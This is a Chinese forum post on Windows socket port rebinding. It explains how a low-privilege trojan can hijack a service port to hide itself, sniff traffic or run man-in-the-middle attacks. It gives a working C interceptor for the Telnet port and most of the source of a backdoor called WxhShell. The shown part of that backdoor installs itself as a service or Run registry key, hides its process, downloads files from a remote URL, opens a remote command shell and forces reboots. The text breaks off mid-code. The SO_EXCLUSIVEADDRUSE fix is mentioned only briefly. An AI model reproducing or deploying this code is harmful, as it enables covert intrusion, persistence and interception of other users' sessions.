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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: !CVBG *E^l  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); C+L_61  
}Pm(oR'KTJ  
  saddr.sin_family = AF_INET; $_URXI  
:9!0 Rm  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ulPrb>i  
LrM.wr zI/  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); O yH!V&w  
4U! .UNi  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 "z#?OV5  
cyHak u+  
  这意味着什么?意味着可以进行如下的攻击: WFeMr%Zqh>  
].<sAmL^  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 #<tWYE  
jL7MmR#y5"  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) $!l2=^\3  
eUKl Co  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 rjpafGCp  
ExOB P  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ]"7DV3_  
u7Y'3x,`  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Io4:$w  
?lET45'  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 }x#P<d(  
 wc+N  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 T956L'.+G  
nnd-pf-  
  #include 1{Alj27  
  #include Gs=a(0 0i?  
  #include OJ_2z|f<  
  #include    Z1V'NJI+  
  DWORD WINAPI ClientThread(LPVOID lpParam);   NW4 s'roP  
  int main() 2YE]?!   
  { CI,`R&=xO  
  WORD wVersionRequested; evmEX<N  
  DWORD ret; {OhkuON  
  WSADATA wsaData; YqY6\ mo  
  BOOL val; jC Kt;lj  
  SOCKADDR_IN saddr; q*y9/HnI  
  SOCKADDR_IN scaddr; ]6VUqFO)  
  int err; @+CSY-g$  
  SOCKET s; kO3k| 6f=  
  SOCKET sc; " ;R3260  
  int caddsize; 3@cJ=   
  HANDLE mt; 5KH'|z  
  DWORD tid;   4h_4jqf=pU  
  wVersionRequested = MAKEWORD( 2, 2 ); !NAX6m  
  err = WSAStartup( wVersionRequested, &wsaData ); 7f\^VG  
  if ( err != 0 ) { zloaU  
  printf("error!WSAStartup failed!\n"); J2 rLsNC]0  
  return -1; =<'iLQb1  
  } f`9rT c  
  saddr.sin_family = AF_INET; -SY:qG3?  
   w[A3;]la  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 #c)Ou!Ldb  
j3[OY  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); s-N?Tzi  
  saddr.sin_port = htons(23); 9;v"bc Q  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) CMG`'gT  
  { r4NT`&`g?  
  printf("error!socket failed!\n"); +@],$=aE?  
  return -1; etK,zEd  
  } bq6{ty"  
  val = TRUE;  ISnS;  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 X.AOp  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) !Ub?eJp  
  { ot+~|Dl  
  printf("error!setsockopt failed!\n"); *1)NABp6D  
  return -1; qQ DFg`  
  } wIR[2&b  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 13&>w{S}  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 K<L%@[gi  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 1707  
645C]l  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) y0&HXX#\  
  { (Nlm4*{h  
  ret=GetLastError(); !zkEh9G  
  printf("error!bind failed!\n"); _TN$c  
  return -1; &|{,4V0%A  
  } c+)|o!d  
  listen(s,2); .sR&9FH  
  while(1) D_ZBx+/_?  
  { S,tVOxs^  
  caddsize = sizeof(scaddr); OI}HvgV^!  
  //接受连接请求 MW[ 4^  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); yoY)6cn@  
  if(sc!=INVALID_SOCKET) DF[b?  
  { u4+uGYr*@  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Jx9%8Ek  
  if(mt==NULL) vzm4  
  { E|4XQ|B@  
  printf("Thread Creat Failed!\n"); >T*g'954xF  
  break; n`KXJ?t  
  } k`~br249  
  } boOw K?  
  CloseHandle(mt); g~H? l3v  
  } c3!|h1h/v  
  closesocket(s); ^$,kTU'=  
  WSACleanup(); pH:|G  
  return 0; &?`&X=Q  
  }   qf=[*ZY  
  DWORD WINAPI ClientThread(LPVOID lpParam) pVa|o&,  
  { 8B t-  
  SOCKET ss = (SOCKET)lpParam; fh)`kZDk  
  SOCKET sc; n03SX aU~V  
  unsigned char buf[4096]; Mh.eAM8_  
  SOCKADDR_IN saddr; #DRt Mrfat  
  long num; -*q2Y^A^l  
  DWORD val; bfI -!,  
  DWORD ret; xAz4ZXj=q  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Jo(}#_y?  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   wXZY5-h4  
  saddr.sin_family = AF_INET; KC-aLq/  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); _vLT!y  
  saddr.sin_port = htons(23); WI!z92qq[  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) [k=9 +0p  
  { !cq| g  
  printf("error!socket failed!\n"); Tc(v\|F,  
  return -1; r= | |sZs  
  } BBJ]>lQ  
  val = 100; :::f,aCAu  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) o4f9EJY   
  { molowPI  
  ret = GetLastError(); hJ*E"{xs  
  return -1; ,UZE;lXJ'Q  
  } 7%!KAtc  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) |#jm=rT0y  
  { a4.: i  
  ret = GetLastError(); [=1?CD  
  return -1; Msu2OF *x  
  } +&zCmkVC7  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) vEp8Hc  
  { GWZXRUc  
  printf("error!socket connect failed!\n"); t8N9/DZ}Q  
  closesocket(sc); 1p<?S}zg@  
  closesocket(ss); :tG".z  
  return -1; K y2xWd8  
  } gq1Y]t|4F  
  while(1) 1WN93 SQ=  
  { UnF4RF:A2&  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 VEEeQy  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 {-`OE  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 7[1 R}G V  
  num = recv(ss,buf,4096,0); ,T~5iLKY  
  if(num>0) i4r~eneP  
  send(sc,buf,num,0); jeFl+K'1  
  else if(num==0) ]b| @<E7Y  
  break; <d`UifqD  
  num = recv(sc,buf,4096,0); ~2}ICU5  
  if(num>0) [:S F(*}  
  send(ss,buf,num,0); oP75|p  
  else if(num==0) L [M8[~Hy  
  break; {$:13AnK   
  } x2wWp-Z  
  closesocket(ss); '|?r&-5 h  
  closesocket(sc); D?F5o^e"h<  
  return 0 ; 2`U&,,-Mf  
  } ,VsCRp  
13kb~'+&r  
z))[Lg  
========================================================== 7uNI  
+`3ZH9  
下边附上一个代码,,WXhSHELL -y*+G&  
@}!$NI8  
========================================================== w>Sz^_ h  
( +hI   
#include "stdafx.h" :8wF0n-'  
!`=?<Fl  
#include <stdio.h> <ijmkNVS  
#include <string.h> R0d|j#vP  
#include <windows.h> ClZyQ=UAD  
#include <winsock2.h> ppP?1Il`kb  
#include <winsvc.h> "TJ^Z!  
#include <urlmon.h> IfCqezd  
{Dq51  
#pragma comment (lib, "Ws2_32.lib") L1 VTq9[3  
#pragma comment (lib, "urlmon.lib") <!>}t a  
%~2m$#)  
#define MAX_USER   100 // 最大客户端连接数 ^v|!(h\ZC  
#define BUF_SOCK   200 // sock buffer 8E%*o  
#define KEY_BUFF   255 // 输入 buffer x,_Ucc.  
H,~In2Z  
#define REBOOT     0   // 重启 5&@U T  
#define SHUTDOWN   1   // 关机 +0 |0X {v  
NmF2E+'  
#define DEF_PORT   5000 // 监听端口 Z+4Oa f!  
 Z5-'|h$|  
#define REG_LEN     16   // 注册表键长度 t O>qd#I  
#define SVC_LEN     80   // NT服务名长度 Lpf=VyqC  
?EAqv]  
// 从dll定义API 7~f6j:{|z  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); /U]5#'i  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); dD<kNa}2  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); IpmREl $j  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); W%cPX0  
d6&tz!f  
// wxhshell配置信息 9Wrcl ai  
struct WSCFG { 9 <m j@bI$  
  int ws_port;         // 监听端口 GqxK|G1  
  char ws_passstr[REG_LEN]; // 口令 b;l%1x9r  
  int ws_autoins;       // 安装标记, 1=yes 0=no 1*jm9])#  
  char ws_regname[REG_LEN]; // 注册表键名 iL1so+di  
  char ws_svcname[REG_LEN]; // 服务名 ,[#f}|s_  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 s%|J(0  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 `BD`pa7.%  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 7S Zs/wWh%  
int ws_downexe;       // 下载执行标记, 1=yes 0=no z\ pT+9&  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Y%@'a~  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \YS\* 'F  
$7YLU{0  
}; _Y {g5t  
rID]!7~  
// default Wxhshell configuration gHshG;z*  
struct WSCFG wscfg={DEF_PORT, {Aw3Itef  
    "xuhuanlingzhe", L 3@wdC ~0  
    1, U$ bM:d  
    "Wxhshell", )wd~639U  
    "Wxhshell", +ETw:i9!?  
            "WxhShell Service", C\D4C]/8  
    "Wrsky Windows CmdShell Service", N2J!7uoQ  
    "Please Input Your Password: ", =x>k:l~s  
  1, a@J :*W  
  "http://www.wrsky.com/wxhshell.exe", B.#0kjA}  
  "Wxhshell.exe" u*`GIRfWT  
    }; 9t1_"{'N1  
-<=< T@,  
// 消息定义模块 wf1DvsJQl  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; DYK|"@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ^XVa!s,d  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; $*R9LPpk+  
char *msg_ws_ext="\n\rExit."; UxtZBNn8  
char *msg_ws_end="\n\rQuit."; #cb6~AH  
char *msg_ws_boot="\n\rReboot..."; yl%F<5  
char *msg_ws_poff="\n\rShutdown..."; Cj9Tj'0@I+  
char *msg_ws_down="\n\rSave to "; &KWh5S@w  
BW 7[JD  
char *msg_ws_err="\n\rErr!"; S:s^si2/  
char *msg_ws_ok="\n\rOK!"; pE N`&'4  
17d$gZ1O:  
char ExeFile[MAX_PATH]; ^(:Rbsl  
int nUser = 0; Qafg/JU  
HANDLE handles[MAX_USER]; H'.eqZM  
int OsIsNt; w"|c;E1;_  
>0oc=9H8  
SERVICE_STATUS       serviceStatus; b}*hodzF  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; f *vziC<m  
LBB[aF,Lr  
// 函数声明 v%^H9aK_  
int Install(void); `( Gk_VAa  
int Uninstall(void); fHi+PEbR  
int DownloadFile(char *sURL, SOCKET wsh); PV2904  
int Boot(int flag); *TkABUL  
void HideProc(void); f?6=H^_>  
int GetOsVer(void); bX1ip2X lk  
int Wxhshell(SOCKET wsl); FC#Q tu~J  
void TalkWithClient(void *cs); }I]q$3 .  
int CmdShell(SOCKET sock); =fPO0Ot;  
int StartFromService(void); (%Rs&/vU~  
int StartWxhshell(LPSTR lpCmdLine); ~fe0Ba4  
!k63 `(Ti  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Z# 04 ]  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Tw5BvB1  
}s[/b"%y  
// 数据结构和表定义 cS"6%:hQ  
SERVICE_TABLE_ENTRY DispatchTable[] = ZHJzh\?  
{ , +^db)  
{wscfg.ws_svcname, NTServiceMain}, x!+ a,+G  
{NULL, NULL} 9'M_tMm5  
}; d?n~9_9e  
L  z  
// 自我安装 jg(A_V  
int Install(void) ->(B: Cz  
{ _G|6xlO  
  char svExeFile[MAX_PATH]; 1Rh&04O>VL  
  HKEY key; t JP(eaqZ  
  strcpy(svExeFile,ExeFile); y (A"g3^=  
j3>< J  
// 如果是win9x系统,修改注册表设为自启动 LmE-&  
if(!OsIsNt) { A5b}G  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { p:jrqjLp  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); mfvQ]tz_+  
  RegCloseKey(key); x@=7M'vr%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~cjvo?)&e;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); DI\sq8J^  
  RegCloseKey(key); rgCId@R  
  return 0; eMwf'*#  
    } r[x7?cXsW  
  } 7Fp2=j  
} X)~-MY*p  
else { iu'yB  
:lAR;[WFS  
// 如果是NT以上系统,安装为系统服务 (hoqLL\}k  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); OsXQWSkj~  
if (schSCManager!=0) >/*\x g&J  
{ <#UvLll  
  SC_HANDLE schService = CreateService `t -3(>P  
  ( w'!gLta  
  schSCManager, [g? NU]  
  wscfg.ws_svcname, nL? B  
  wscfg.ws_svcdisp, Xqy{=:0  
  SERVICE_ALL_ACCESS, -]e@cevy  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ` T!O )5  
  SERVICE_AUTO_START, ^RyrUb  
  SERVICE_ERROR_NORMAL, ,x/j&S9!  
  svExeFile, lQzrf"N'  
  NULL, 62"ND+D4  
  NULL, >&R|t_ypw  
  NULL, `PL!>oa(8  
  NULL, QS_u<B  
  NULL o,-@vp  
  ); " O4Z).5q3  
  if (schService!=0) JF7T1T  
  { -[=`bHo  
  CloseServiceHandle(schService); w%ForDB>P  
  CloseServiceHandle(schSCManager); D+V^nCcx%  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 8Y9mB #X  
  strcat(svExeFile,wscfg.ws_svcname); ]q j%6tz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { L2$%h1  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); E=y#~W  
  RegCloseKey(key); 7>nA;F 8_  
  return 0; !q X 7   
    } "elh~K  
  } t`?FSV  
  CloseServiceHandle(schSCManager); Q7C'O @  
} S%4 K-I  
} 8P .! q  
U;(&!Ei  
return 1; ~LVa#  
} E-x(5^b"  
&^EkM  
// 自我卸载 X7G6y|4;w  
int Uninstall(void) {XVSHUtw  
{ ;23F8M%wH  
  HKEY key; /mb| %U]~  
V;m3=k0U  
if(!OsIsNt) { ^^Ius ]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +m1edPA[  
  RegDeleteValue(key,wscfg.ws_regname); G~JQcJFj  
  RegCloseKey(key); loZfzN&6A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { tFGLqR%/  
  RegDeleteValue(key,wscfg.ws_regname); "Xm'(c(  
  RegCloseKey(key); N5_v}<CN  
  return 0; Kl* ##qw!  
  } 9u9#&xx  
} "x{S3v4Rb5  
} GXAcy OV  
else { Uz0mSfBp  
PtHT>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 7(jt:V6V  
if (schSCManager!=0) a}wB7B;,g  
{ w4OVfTlN  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); K46\Rm_:B;  
  if (schService!=0) g$< @!  
  {  np~oF  
  if(DeleteService(schService)!=0) { %spR7J\"/  
  CloseServiceHandle(schService); /XXW4_>  
  CloseServiceHandle(schSCManager); \^+sgg{  
  return 0; Rzb] mM  
  } S4Rv6{r:  
  CloseServiceHandle(schService); *mYec~  
  } eq"~by[Uq  
  CloseServiceHandle(schSCManager); {PfE7KH  
} wtY#8 '^$&  
} lU@ni(69d  
B *:6U+I  
return 1; 1:,aFp>qr  
} wj/r)rv E  
tDi<n}  
// 从指定url下载文件 ?Z;knX\?J  
int DownloadFile(char *sURL, SOCKET wsh) DzYno -]A]  
{ 9gFC]UVWh  
  HRESULT hr; s~GO-v7  
char seps[]= "/"; ON=xn|b4  
char *token; Tkd4nRo~  
char *file; c!I> _PD`&  
char myURL[MAX_PATH]; nI 6`/  
char myFILE[MAX_PATH]; ^,?]]=mE  
[P[syi#]t  
strcpy(myURL,sURL); `+<5QtD  
  token=strtok(myURL,seps); pdE=9l'  
  while(token!=NULL) kJ~^  }o  
  { MOj 0"x)  
    file=token; %1#5 7-  
  token=strtok(NULL,seps); hX;xbl  
  } KB-7]H  
VQX#P<  
GetCurrentDirectory(MAX_PATH,myFILE); 6OVAsmE  
strcat(myFILE, "\\"); #Z fg  
strcat(myFILE, file); QutQG  
  send(wsh,myFILE,strlen(myFILE),0); PPohpdd)  
send(wsh,"...",3,0); bzZEwMc6  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); /$B<+;L!#  
  if(hr==S_OK) vHao y  
return 0; (ttO O45  
else Chjth"  
return 1; ;X\!*Loe  
-0>@jfP^D  
} }lWEbQ)(!  
0`_Gj{:L  
// 系统电源模块 75{QBlf<  
int Boot(int flag) W$,c]/u|  
{ ')go/y`YK  
  HANDLE hToken; )(,+o  
  TOKEN_PRIVILEGES tkp; Pj+XKDV]T  
)'nGuL-w!i  
  if(OsIsNt) { b-ZvEDCR  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); / VJ[1o^  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); \5J/ ?  
    tkp.PrivilegeCount = 1; aG,N>0k8  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; TVKuvKH8U  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 5 J 0  
if(flag==REBOOT) { [ h%ci3  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *!Xhy87%Z)  
  return 0; iX~V(~v  
} O"Ar3>   
else { 0e3 aWn  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) C#(4>'  
  return 0; st pa2z  
} W<kJ%42^j  
  } Al 0zL  
  else { 3pm;?6i6  
if(flag==REBOOT) { " >;},$  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) #Jg )HU9  
  return 0; A`IE8@&Z'  
} !30BZM^  
else { 1[dza5  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) =`g+3 O;<  
  return 0; n;4` IK|  
} eja_+`cJ  
} z$;z&X$j  
~g)gXPjke  
return 1; 'kPShZS$b  
} M,:GMO:?a  
?-J\~AXL  
// win9x进程隐藏模块 w,D(zk$   
void HideProc(void) m ?LOd9  
{ s&z+j%;+o  
y~;Kf0~  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 'R?;T[s%  
  if ( hKernel != NULL ) KUZ'$oKg  
  { "5]GEzM3O  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ^O4.$4t|  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 2,'m]`;GNr  
    FreeLibrary(hKernel); l3-;z)SgH  
  } k.?b2]@$  
Q+gQ"l,95  
return; `AQv\@wp  
} eZT923tD  
K5'@$Km  
// 获取操作系统版本 W~FcU+a  
int GetOsVer(void) .\qZkk}2l  
{ <[kdF")  
  OSVERSIONINFO winfo; rs'~' Y  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); IC37f[Q  
  GetVersionEx(&winfo); DTPYCG&%  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) L<*wzl2Go  
  return 1; We_/:=  
  else |h@'~c  
  return 0; 79=w]y  
} o|(-0mWBQA  
~ 8RN  
// 客户端句柄模块 (Z;-u+ }.  
int Wxhshell(SOCKET wsl) Q]A;VNx  
{ O$LvHv!  
  SOCKET wsh; [@_}BZk  
  struct sockaddr_in client; 6 O!&!  
  DWORD myID; 8E ^yHd4Y  
p'uk V(B  
  while(nUser<MAX_USER) gVl%:Ra%  
{ +.NopI3:  
  int nSize=sizeof(client); f_7a) 'V4  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); +hqsIx  
  if(wsh==INVALID_SOCKET) return 1; -BgzAxa  
-(ABQgSO]  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Gr}Lp  
if(handles[nUser]==0) St^s"A  
  closesocket(wsh); (s z=IB ;  
else F2:?lmhL<  
  nUser++; sJ{NbN~`I  
  } C1Slx !}  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); :"|}oKT%mP  
ci <`*>l  
  return 0; =4 36/O`K  
} sTU`@}}  
 =6Ihk  
// 关闭 socket b7p&EK"Hm  
void CloseIt(SOCKET wsh) t[Xx LG*  
{ 1zl6Rwk^o  
closesocket(wsh);  _p<s!  
nUser--; ;3-5U&Axt  
ExitThread(0); Re0ma%~LP  
} ECWn/4Aws  
F$N"&<[c  
// 客户端请求句柄 Wf +j/RxTi  
void TalkWithClient(void *cs) bO^#RVH  
{ 5VDqx@(  
.'saUcVg:  
  SOCKET wsh=(SOCKET)cs; pZ}4'GnZI  
  char pwd[SVC_LEN]; eR4%4gW)  
  char cmd[KEY_BUFF]; }PTYNidlR  
char chr[1]; HY4X;^hF  
int i,j; ML^c-xY(  
T XWi5f[  
  while (nUser < MAX_USER) { a2 e-Q({  
uhz:G~x!  
if(wscfg.ws_passstr) { b)tvXiO1>  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3i/$YX5@  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <b~KR8  
  //ZeroMemory(pwd,KEY_BUFF); %qfql  
      i=0; " qY Pi  
  while(i<SVC_LEN) { G'{$$+U^K  
mp:%k\cF|  
  // 设置超时 7y1J69IK  
  fd_set FdRead; mzLDZ# =b  
  struct timeval TimeOut; I9-vV>:z  
  FD_ZERO(&FdRead); Y9F!HM-`  
  FD_SET(wsh,&FdRead); KWq7M8mq  
  TimeOut.tv_sec=8; n [H3b}  
  TimeOut.tv_usec=0; hiZE8?0+~N  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); eQbDs_  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); q90eB6G0g  
Mhc!v, D$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (iXo\y`z  
  pwd=chr[0]; N:[22`NP  
  if(chr[0]==0xd || chr[0]==0xa) { T0J"Wr>WY  
  pwd=0; M.iR5Uh  
  break; i Tg?JoE2  
  } VHGOVH,  
  i++; Hr |De8#f  
    } k>I[U}h  
2| $  
  // 如果是非法用户,关闭 socket mf ^=tZ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); B`3RyM"J@  
} :Y`cgi0vkd  
![YLY&}s  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); fOs"\Y4  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?4GI19j  
"E =\Vz  
while(1) { lS&$86Jo(  
&^KmfT5C  
  ZeroMemory(cmd,KEY_BUFF); n>T1KC%  
484lB}H  
      // 自动支持客户端 telnet标准   mojD  
  j=0; >DeG//rv  
  while(j<KEY_BUFF) { P$?3\`U;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 20h|e+3  
  cmd[j]=chr[0]; (=c R;\s<  
  if(chr[0]==0xa || chr[0]==0xd) { +`O8cHx  
  cmd[j]=0; :oh(M|;/2  
  break; zA4m !l*eM  
  } BQq,,i8H  
  j++; RG1~)5AL~Y  
    } I?nj_ as  
(;T$[ru`  
  // 下载文件 !{tkv4  
  if(strstr(cmd,"http://")) { PYX]ld.E  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); WX$mAQDV  
  if(DownloadFile(cmd,wsh)) a "uO0LOb  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); gmkD'CX*A  
  else )y&}c7xW  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &"]Uh   
  } {Bk9]:'$5  
  else { H-$)@  
y1z<{'2x  
    switch(cmd[0]) { T|dQY~n~  
  +`4`OVE_#  
  // 帮助 1sKKmtgH  
  case '?': { b<o Uy  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,&[2z!  
    break; d:jD  
  } ihivJ Z  
  // 安装 *<?or"P  
  case 'i': { $ K1 /^  
    if(Install()) vcTWe$;Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q y"VrR  
    else h$7rEs  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oxT..=-  
    break; h >V8YJ  
    } SJ$N]<d  
  // 卸载 (GB2("p`  
  case 'r': { h&d%#6mB  
    if(Uninstall()) <>\s#Jf/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <\uz",e}  
    else /Qi;'h]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3NRxf8  
    break; mNS7/I\  
    } ~^jdiy5  
  // 显示 wxhshell 所在路径 .1R:YNx{/  
  case 'p': { _q*4+x  
    char svExeFile[MAX_PATH]; rrBu6\D  
    strcpy(svExeFile,"\n\r"); :l<)p;\  
      strcat(svExeFile,ExeFile); r_/=iYYJ  
        send(wsh,svExeFile,strlen(svExeFile),0); _hT-5)1r  
    break; -+fbK/  
    } .XD7};g  
  // 重启 # LRN@?P  
  case 'b': { ~xI1@^ r  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); M =Pn8<h~  
    if(Boot(REBOOT)) \z"0lAv"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $U=E7JO  
    else { V?"X0>]0  
    closesocket(wsh); v"'Co6fw  
    ExitThread(0); m>dZ n  
    } Sj?u^L8es}  
    break; `tZu~ n  
    } za{z2# aJ  
  // 关机 Us4J[MW<  
  case 'd': { 34S|[PX d  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 7-a[W   
    if(Boot(SHUTDOWN)) ($a ?zJr  
